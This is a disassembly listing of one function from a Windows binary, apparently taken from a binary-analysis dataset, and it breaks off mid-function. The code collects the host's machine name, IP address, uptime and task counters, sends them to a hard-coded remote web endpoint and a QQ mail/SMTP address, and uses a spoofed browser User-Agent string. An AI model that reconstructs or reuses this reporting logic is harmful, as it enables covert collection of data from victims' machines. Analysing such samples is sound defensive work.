Function at 0x413e2c
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 8
call fcn.00432e8b
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x524d8b
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
push 8
call fcn.00432e8b
add esp, 4
mov dword [ebp - 0x44], eax
mov edi, eax
mov esi, 0x524d8b
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
push 8
call fcn.00432e8b
add esp, 4
mov dword [ebp - 0x58], eax
mov edi, eax
mov esi, 0x524d8b
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
push 8
call fcn.00432e8b
add esp, 4
mov dword [ebp - 0x68], eax
mov edi, eax
mov esi, 0x524d8b
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
cmp dword [0x5f2c8c], 1
jne 0x413f8e
mov eax, dword [0x5f2c60]
test eax, eax
je 0x413f74
push eax
mov ebx, eax
call fcn.0040110c
inc eax
push eax
call fcn.00432e8b
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x413f85
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x413fbf
push 0xffffffffffffffff
push 8
push 0x16019854
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x413fbb
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x524deb
push dword [ebp - 4]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x414015
mov dword [ebp - 0x74], 0
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.0040caa9
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x413ffd
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x414011
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [0x5f2c78], 3
jg 0x414037
mov eax, dword [0x5f2c80]
cmp dword [0x5f2c78], eax
jne 0x414037
xor eax, eax
jmp 0x41403c
mov eax, 1
test eax, eax
je 0x4142b2
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525623
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.smtp.qq.com
push 5
mov eax, 2
mov ebx, 0x49b5e0
call fcn.00432e97
add esp, 0x40
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x52564d
push dword [ebp - 0x74]
mov ecx, 2
call fcn.00401177
add esp, 8
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4140cc
push ebx
call fcn.00432e91
add esp, 4
push 0x80000301
push 0
push dword [0x5f2c78]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000301
push 0
push dword [0x5f2c80]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x80], eax
push 0xffffffffffffffff
push 8
push 0x16019859
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x84], eax
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [0x5f2c68]
push 0x52566c
push dword [ebp - 0x80]
push 0x525677
push dword [ebp - 0x7c]
push 0x525697
push dword [ebp - 0x8c]
push 0x5256b3
push dword [ebp - 0x88]
push 0x5256cf
push dword [ebp - 0x84]
push 0x5256df
mov ecx, 0xc
call fcn.00401177
add esp, 0x30
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4141c6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4141d9
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4141ec
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4141fc
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x41420c
push ebx
call fcn.00432e91
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
mov ebx, 6
call fcn.004011fa
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x41424a
mov eax, 0x524deb
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x41425e
mov eax, 0x524deb
push eax
push 7
mov eax, 2
mov ebx, 0x49b650
call fcn.00432e97
add esp, 0x58
mov ebx, eax
test ebx, ebx
je 0x414285
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x414295
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4142a8
push ebx
call fcn.00432e91
add esp, 4
push 0
call fcn.00432ea9
add esp, 4
cmp dword [0x5f2c90], 0
jle 0x414393
fild dword [0x5f2c90]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5f2c78]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.004011d3
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [0x5f2c94]
push 1
mov ebx, 0x433d90
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fmul qword [0x5256ef]
fstp qword [ebp - 0x84]
fild dword [ebp - 8]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
fsub qword [ebp - 0x84]
fcomp qword [0x5254fb]
fnstsw ax
test ah, 0x41
jne 0x41438e
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524d9d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x5256f7
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
push 0
call fcn.00432ea9
add esp, 4
jmp 0x41439b
mov eax, dword [0x5f2c78]
mov dword [ebp - 8], eax
cmp dword [0x5f2c64], 1
jne 0x41441e
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
call fcn.0040ead4
mov dword [ebp - 0x78], eax
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4143db
mov eax, 0x524deb
push eax
push 2
mov ebx, 0x4335f0
call fcn.00432e85
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x414401
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x7c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x414415
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
jmp 0x414458
call fcn.0040ddfe
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x414454
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
cmp dword [0x5f2c98], 1
jne 0x414c3b
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_zxgh.asp_Actionzxtaskname10bran_hbh
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00407adf
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x414538
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x41454b
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x41455e
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x414571
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x414584
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x414597
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4145a7
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4145b7
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4145cd
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4145f9
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x414610
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52575a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52575c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
push 0x5f2c5c
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x414664
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x414674
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41468b
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4146a2
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x52576a
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, str.B_
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00402a47
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x41470d
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x414720
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x414730
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x414747
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x41476a
mov eax, 0x524deb
push eax
push 2
mov ebx, 0x433630
call fcn.00432e85
add esp, 0x1c
mov dword [ebp - 0x74], eax
push 0x525773
push dword [ebp - 0x74]
call fcn.0040104f
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4147ae
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x414850
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4147cb
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433450
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x524e28]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.004011d3
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x41481c
mov eax, 0x524deb
push eax
push 2
mov ebx, 0x4335f0
call fcn.00432e85
add esp, 0x1c
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41484c
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x525773
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004026b1
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x414879
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x1c]
call fcn.00402e35
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x414897
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433b30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edx
fild dword [ebp - 0x74]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
fsub qword [ebp - 0x7c]
fcomp qword [0x525539]
fnstsw ax
test ah, 1
jne 0x41496e
mov ebx, dword [ebp - 0x1c]
call fcn.004010ec
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.00402e35
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x433570
call fcn.00432e85
add esp, 0x1c
dec eax
jns 0x41491b
push 4
call fcn.00432e79
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41492e
push 1
call fcn.00432e79
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x7c], ebx
mov ebx, dword [ebp - 0x7c]
mov eax, dword [ebx]
test eax, eax
je 0x414954
push eax
mov ebx, eax
call fcn.0040110c
inc eax
push eax
call fcn.00432e8b
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x414965
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x41498e
call fcn.00418d4b
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x41498a
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0
push dword [ebp - 0x20]
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432e9d
add esp, 0x18
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5f2c7c]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x435490
call fcn.00432e85
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040aa9f
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [ebp - 0xc]
push 0x525775
push dword [0x5f2c68]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x8c]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskName10bran_hbhSuccNums
push dword [ebp - 0x20]
push str.Idname
mov ecx, 0x10
call fcn.00401177
add esp, 0x40
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x414ab6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x414ac6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x414ad9
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x414aec
push ebx
call fcn.00432e91
add esp, 4
mov eax, str.scjm
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x94]
push eax
mov eax, str.7D7D6460627A3E1D6B454
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x98]
push eax
call fcn.00419261
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x414b2e
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x414b41
push ebx
call fcn.00432e91
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x414b5d
mov eax, 0x524deb
push eax
push reloc.WS2_32.dll_getpeername
push 0
push 0x5257e8
push 3
mov eax, 8
mov ebx, 0x4c12f0
call fcn.00432e97
add esp, 0x28
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x414b9a
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x414bb0
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x414bdc
push ebx
call fcn.00432e91
add esp, 4
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.0041a17d
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x414c08
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x414c1b
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x414c32
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
jmp 0x414efa
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x5f2c7c]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x435490
call fcn.00432e85
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040aa9f
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x8c], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x90], eax
push dword [ebp - 0xc]
push 0x525775
push dword [0x5f2c68]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x90]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskName10bran_hbhSuccNums
push dword [ebp - 0x8c]
push str.Idname
mov ecx, 0x10
call fcn.00401177
add esp, 0x40
mov dword [ebp - 0x94], eax
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x414d6a
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x414d7a
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x414d8a
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x414d9d
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x414db0
push ebx
call fcn.00432e91
add esp, 4
mov eax, str.scjm
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x98]
push eax
mov eax, str.7D7D6460627A3E1D6B454
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00419261
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x414df2
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x414e05
push ebx
call fcn.00432e91
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x414e21
mov eax, 0x524deb
push eax
push reloc.WS2_32.dll_getpeername
push 0
push 0x5257e8
push 3
mov eax, 8
mov ebx, 0x4c12f0
call fcn.00432e97
add esp, 0x28
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x414e5e
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x414e74
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x414ea0
push ebx
call fcn.00432e91
add esp, 4
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.0041a17d
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x414ecc
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x414edf
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xac]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x414ef6
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x525800
mov ecx, 2
call fcn.00401177
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.00407adf
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x414fd0
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x414fe3
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x414ff6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x415009
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x41501c
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41502f
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41503f
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x41504f
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x415065
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x415091
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4150a8
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4150dd
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x415345
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x524ecd
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x41514c
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41515c
push ebx
call fcn.00432e91
add esp, 4
push dword [ebp - 0x84]
push str.http:__www.mmwzpt.cn
mov ecx, 2
call fcn.00401177
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41518d
push ebx
call fcn.00432e91
add esp, 4
push 1
push 8
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
push dword [ebp - 0x94]
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
mov dword [ebp - 0xa0], 0
push 0
